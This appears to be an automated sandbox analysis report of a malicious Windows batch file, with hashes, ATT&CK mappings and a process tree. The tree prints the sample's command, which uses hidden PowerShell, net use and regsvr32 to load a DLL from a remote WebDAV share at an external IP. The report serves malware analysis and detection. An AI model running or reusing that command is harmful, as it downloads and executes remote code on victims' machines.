7b9c99238cef74174b1211cb89e61c9f86c535ff2b5823bede3b4e001ebfcd03

Analysis

max time kernel
148s
max time network
161s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
19/07/2024, 07:25

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1245315253211615624.bat
Size

2KB
MD5

a8dd19f9bf7e967254d99ee3c42e01b8
SHA1

bbc1620a3fe94b3cf8d48ed15eef944fcb38d6ab
SHA256

8ac5a9885d6f8458a2be569a38232efe321735ffbd210d26195a12c10112aab9
SHA512

c7cf21dcaf5df3e4636962e3cb096411fb7486c25b5d844901d444975370da39dbb39fc666f1ef15be793c81ec9f4b28412717bf6db55bd19281e6547d895168

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1800	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1800	powershell.exe
1800	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1800	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
3860	wordpad.exe
3860	wordpad.exe
3860	wordpad.exe
3860	wordpad.exe
3860	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 5044 wrote to memory of 3860	5044	cmd.exe	85
PID 5044 wrote to memory of 3860	5044	cmd.exe	85
PID 5044 wrote to memory of 1800	5044	cmd.exe	87
PID 5044 wrote to memory of 1800	5044	cmd.exe	87
PID 1800 wrote to memory of 1156	1800	powershell.exe	89
PID 1800 wrote to memory of 1156	1800	powershell.exe	89
PID 1800 wrote to memory of 232	1800	powershell.exe	90
PID 1800 wrote to memory of 232	1800	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1245315253211615624.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5044
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:3860
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\17425746410080.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1800
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:1156
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\17425746410080.dll
    3⤵
    PID:232

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:4176

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2uek4jub.gre.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1800-9-0x000002E3AACA0000-0x000002E3AACC2000-memory.dmp

Filesize
136KB

Download